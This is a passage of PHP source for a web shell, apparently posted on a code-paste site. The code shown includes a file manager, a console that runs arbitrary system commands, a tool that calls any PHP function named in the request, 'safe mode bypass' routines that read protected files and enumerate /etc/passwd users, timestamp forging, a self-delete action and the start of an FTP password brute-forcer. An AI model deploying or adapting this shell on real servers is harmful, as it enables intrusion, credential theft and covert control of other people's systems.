            return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
609609
        else
610610
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
611611
    }
612612
    usort($files, "cmp");
613613
    usort($dirs, "cmp");
614614
    usort($links, "cmp");
615615
    $files = array_merge($dirs, $links, $files);
616616
    $l = 0;
617617
    foreach($files as $f) {
618618
        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
619619
            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
620620
        $l = $l?0:1;
621621
    }
622622
    ?>
623623
    <tr><td colspan=7>
624624
    <input type=hidden name=a value='FilesMan'>
625625
    <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
626626
    <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
627627
    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
628628
    </form></table></div>
629629
    <?php
630630
    printFooter();
631631
}
633633
function actionStringTools() {
634634
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
635635
    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
636636
    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
637637
    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
639639
    if(isset($_POST['ajax'])) {
640640
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
641641
        ob_start();
642642
        if(function_exists($_POST['p1']))
643643
            echo $_POST['p1']($_POST['p2']);
644644
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
645645
        echo strlen($temp), "\n", $temp;
646646
        exit;
647647
    }
648648
    printHeader();
649649
    echo '<h1>String conversions</h1><div class=content>';
650650
    $stringTools = array(
651651
        'Base64 encode' => 'base64_encode',
652652
        'Base64 decode' => 'base64_decode',
653653
        'Url encode' => 'urlencode',
654654
        'Url decode' => 'urldecode',
655655
        'Full urlencode' => 'full_urlencode',
656656
        'md5 hash' => 'md5',
657657
        'sha1 hash' => 'sha1',
658658
        'crypt' => 'crypt',
659659
        'CRC32' => 'crc32',
660660
        'ASCII to HEX' => 'ascii2hex',
661661
        'HEX to ASCII' => 'hex2ascii',
662662
        'HEX to DEC' => 'hexdec',
663663
        'HEX to BIN' => 'hex2bin',
664664
        'DEC to HEX' => 'dechex',
665665
        'DEC to BIN' => 'decbin',
666666
        'BIN to HEX' => 'bin2hex',
667667
        'BIN to DEC' => 'bindec',
668668
        'String to lower case' => 'strtolower',
669669
        'String to upper case' => 'strtoupper',
670670
        'Htmlspecialchars' => 'htmlspecialchars',
671671
        'String length' => 'strlen',
672672
    );
673673
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
674674
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
675675
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
676676
    foreach($stringTools as $k => $v)
677677
        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
678678
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
679679
    if(!empty($_POST['p1'])) {
680680
        if(function_exists($_POST['p1']))
681681
        echo htmlspecialchars($_POST['p1']($_POST['p2']));
682682
    }
683683
    echo"</pre></div>";
684684
    ?>
685685
    <br><h1>Search for hash:</h1><div class=content>
686686
        <form method='post' target='_blank' name="hf">
687687
            <input type="text" name="hash" style="width:200px;"><br>
688688
            <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
689689
            <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
690690
            <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
691691
            <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
692692
            <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
693693
        </form>
694694
    </div>
695695
    <?php
696696
    printFooter();
697697
}
699699
function actionFilesTools() {
700700
    if( isset($_POST['p1']) )
701701
        $_POST['p1'] = urldecode($_POST['p1']);
702702
    if(@$_POST['p2']=='download') {
703703
        if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
704704
            ob_start("ob_gzhandler", 4096);
705705
            header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
706706
            if (function_exists("mime_content_type")) {
707707
                $type = @mime_content_type($_POST['p1']);
708708
                header("Content-Type: ".$type);
709709
            }
710710
            $fp = @fopen($_POST['p1'], "r");
711711
            if($fp) {
712712
                while(!@feof($fp))
713713
                    echo @fread($fp, 1024);
714714
                fclose($fp);
715715
            }
716716
        } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
718718
        }
719719
        exit;
720720
    }
721721
    if( @$_POST['p2'] == 'mkfile' ) {
722722
        if(!file_exists($_POST['p1'])) {
723723
            $fp = @fopen($_POST['p1'], 'w');
724724
            if($fp) {
725725
                $_POST['p2'] = "edit";
726726
                fclose($fp);
727727
            }
728728
        }
729729
    }
730730
    printHeader();
731731
    echo '<h1>File tools</h1><div class=content>';
732732
    if( !file_exists(@$_POST['p1']) ) {
733733
        echo 'File not exists';
734734
        printFooter();
735735
        return;
736736
    }
737737
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
738738
    $gid = @posix_getgrgid(@fileowner($_POST['p1']));
739739
    echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
740740
    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
741741
    if( empty($_POST['p2']) )
742742
        $_POST['p2'] = 'view';
743743
    if( is_file($_POST['p1']) )
744744
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
745745
    else
746746
        $m = array('Chmod', 'Rename', 'Touch');
747747
    foreach($m as $v)
748748
        echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
749749
    echo '<br><br>';
750750
    switch($_POST['p2']) {
751751
        case 'view':
752752
            echo '<pre class=ml1>';
753753
            $fp = @fopen($_POST['p1'], 'r');
754754
            if($fp) {
755755
                while( !@feof($fp) )
756756
                    echo htmlspecialchars(@fread($fp, 1024));
757757
                @fclose($fp);
758758
            }
759759
            echo '</pre>';
760760
            break;
761761
        case 'highlight':
762762
            if( is_readable($_POST['p1']) ) {
763763
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
764764
                $code = highlight_file($_POST['p1'],true);
765765
                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
766766
            }
767767
            break;
768768
        case 'chmod':
769769
            if( !empty($_POST['p3']) ) {
770770
                $perms = 0;
771771
                for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
772772
                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
773773
                if(!@chmod($_POST['p1'], $perms))
774774
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
775775
                else
776776
                    die('<script>g(null,null,null,null,"")</script>');
777777
            }
778778
            echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
779779
            break;
780780
        case 'edit':
781781
            if( !is_writable($_POST['p1'])) {
782782
                echo 'File isn\'t writeable';
783783
                break;
784784
            }
785785
            if( !empty($_POST['p3']) ) {
786786
                @file_put_contents($_POST['p1'],$_POST['p3']);
787787
                echo 'Saved!<br><script>document.mf.p3.value="";</script>';
788788
            }
789789
            echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
790790
            $fp = @fopen($_POST['p1'], 'r');
791791
            if($fp) {
792792
                while( !@feof($fp) )
793793
                    echo htmlspecialchars(@fread($fp, 1024));
794794
                @fclose($fp);
795795
            }
796796
            echo '</textarea><input type=submit value=">>"></form>';
797797
            break;
798798
        case 'hexdump':
799799
            $c = @file_get_contents($_POST['p1']);
800800
            $n = 0;
801801
            $h = array('00000000<br>','','');
802802
            $len = strlen($c);
803803
            for ($i=0; $i<$len; ++$i) {
804804
                $h[1] .= sprintf('%02X',ord($c[$i])).' ';
805805
                switch ( ord($c[$i]) ) {
806806
                    case 0:  $h[2] .= ' '; break;
807807
                    case 9:  $h[2] .= ' '; break;
808808
                    case 10: $h[2] .= ' '; break;
809809
                    case 13: $h[2] .= ' '; break;
810810
                    default: $h[2] .= $c[$i]; break;
811811
                }
812812
                $n++;
813813
                if ($n == 32) {
814814
                    $n = 0;
815815
                    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
816816
                    $h[1] .= '<br>';
817817
                    $h[2] .= "\n";
818818
                }
819819
             }
820820
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
821821
            break;
822822
        case 'rename':
823823
            if( !empty($_POST['p3']) ) {
824824
                if(!@rename($_POST['p1'], $_POST['p3']))
825825
                    echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
826826
                else
827827
                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
828828
            }
829829
            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
830830
            break;
831831
        case 'touch':
832832
            if( !empty($_POST['p3']) ) {
833833
                $time = strtotime($_POST['p3']);
834834
                if($time) {
835835
                    if(@touch($_POST['p1'],$time,$time))
836836
                        die('<script>g(null,null,null,null,"")</script>');
837837
                    else {
838838
                        echo 'Fail!<script>document.mf.p3.value="";</script>';
839839
                    }
840840
                } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
841841
            }
842842
            echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
843843
            break;
844844
        case 'mkfile':
846846
            break;
847847
    }
848848
    echo '</div>';
849849
    printFooter();
850850
}
852852
function actionSafeMode() {
853853
    $temp='';
854854
    ob_start();
855855
    switch($_POST['p1']) {
856856
        case 1:
857857
            $temp=@tempnam($test, 'cx');
858858
            if(@copy("compress.zlib://".$_POST['p2'], $temp)){
859859
                echo @file_get_contents($temp);
860860
                unlink($temp);
861861
            } else
862862
                echo 'Sorry... Can\'t open file';
863863
            break;
864864
        case 2:
865865
            $files = glob($_POST['p2'].'*');
866866
            if( is_array($files) )
867867
                foreach ($files as $filename)
868868
                    echo $filename."\n";
869869
            break;
870870
        case 3:
871871
            $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
872872
            curl_exec($ch);
873873
            break;
874874
        case 4:
875875
            ini_restore("safe_mode");
876876
            ini_restore("open_basedir");
877877
            include($_POST['p2']);
878878
            break;
879879
        case 5:
880880
            for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
881881
                $uid = @posix_getpwuid($_POST['p2']);
882882
                if ($uid)
883883
                    echo join(':',$uid)."\n";
884884
            }
885885
            break;
886886
        case 6:
887887
            if(!function_exists('imap_open'))break;
888888
            $stream = imap_open($_POST['p2'], "", "");
889889
            if ($stream == FALSE)
890890
                break;
891891
            echo imap_body($stream, 1);
892892
            imap_close($stream);
893893
            break;
894894
    }
895895
    $temp = ob_get_clean();
896896
    printHeader();
897897
    echo '<h1>Safe mode bypass</h1><div class=content>';
898898
    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
899899
    if($temp)
900900
        echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
901901
    echo '</div>';
902902
    printFooter();
903903
}
905905
function actionConsole() {
906906
    if(isset($_POST['ajax'])) {
907907
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
908908
        ob_start();
909909
        echo "document.cf.cmd.value='';\n";
910910
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
911911
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
912912
            if(@chdir($match[1])) {
913913
                $GLOBALS['cwd'] = @getcwd();
914914
                echo "document.mf.c.value='".$GLOBALS['cwd']."';";
915915
            }
916916
        }
917917
        echo "document.cf.output.value+='".$temp."';";
918918
        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
919919
        $temp = ob_get_clean();
920920
        echo strlen($temp), "\n", $temp;
921921
        exit;
922922
    }
923923
    printHeader();
924924
?>
925925
<script>
926926
if(window.Event) window.captureEvents(Event.KEYDOWN);
927927
var cmds = new Array("");
928928
var cur = 0;
929929
function kp(e) {
930930
    var n = (window.Event) ? e.which : e.keyCode;
931931
    if(n == 38) {
932932
        cur--;
933933
        if(cur>=0)
934934
            document.cf.cmd.value = cmds[cur];
935935
        else
936936
            cur++;
937937
    } else if(n == 40) {
938938
        cur++;
939939
        if(cur < cmds.length)
940940
            document.cf.cmd.value = cmds[cur];
941941
        else
942942
            cur--;
943943
    }
944944
}
945945
function add(cmd) {
946946
    cmds.pop();
947947
    cmds.push(cmd);
948948
    cmds.push("");
949949
    cur = cmds.length-1;
950950
}
951951
</script>
952952
<?php
953953
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
954954
    foreach($GLOBALS['aliases'] as $n => $v) {
955955
        if($v == '') {
956956
            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
957957
            continue;
958958
        }
959959
        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
960960
    }
961961
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
962962
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
963963
    echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
964964
    if(!empty($_POST['p1'])) {
965965
        echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
966966
    }
967967
    echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
968968
    echo '</form></div><script>document.cf.cmd.focus();</script>';
969969
    printFooter();
970970
}
972972
function actionLogout() {
973973
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
974974
    echo 'bye!';
975975
}
977977
function actionSelfRemove() {
978978
    printHeader();
979979
    if($_POST['p1'] == 'yes') {
980980
        if(@unlink(SELF_PATH))
981981
            die('Shell has been removed');
982982
        else
983983
            echo 'unlink error!';
984984
    }
985985
    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
986986
    printFooter();
987987
}
989989
function actionBruteforce() {
990990
    printHeader();
991991
    if( isset($_POST['proto']) ) {
992992
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
993993
        if( $_POST['proto'] == 'ftp' ) {
994994
            function bruteForce($ip,$port,$login,$pass) {
995995
                $fp = @ftp_connect($ip, $port?$port:21);
996996
                if(!$fp) return false;
997997
                $res = @ftp_login($fp, $login, $pass);
998998
                @ftp_close($fp);
999999
                return $res;
10001000
            }
Syntax highlighting:

To highlight particular lines, prefix each line with @@
   Remember me